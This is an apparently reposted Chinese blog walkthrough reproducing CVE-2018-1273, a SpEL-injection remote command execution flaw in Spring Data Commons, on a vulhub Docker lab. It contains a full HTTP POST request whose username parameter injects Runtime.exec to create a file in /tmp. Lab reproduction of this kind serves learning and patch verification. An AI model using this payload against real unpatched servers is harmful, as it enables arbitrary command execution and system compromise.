首页 > 编程语言 > 详细

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

时间:2021-01-21 16:28:05      阅读:95      评论:0      收藏:0      [点我收藏+]

一、漏洞描述

  Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、漏洞环境搭建

需要准备的工具如下:

1.docker+vulhub漏洞库
2.Burpsuite
3.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# 

执行命令

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出现以下页面证明已经搭建完成
技术分享图片
可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!
技术分享图片

三、漏洞利用

1、注册用户,提交抓包

技术分享图片

2、构造payload,进行发包测试

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

服务器返回如下页面时,证明攻击成功!
技术分享图片

3、进入Ubuntu环境中,执行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!
技术分享图片

4、关闭docker环境

docker-compose down
技术分享图片

CVE-2018-1273 Spring Data Commons 远程命令执行漏洞复现

原文:https://www.cnblogs.com/Found404/p/14202543.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!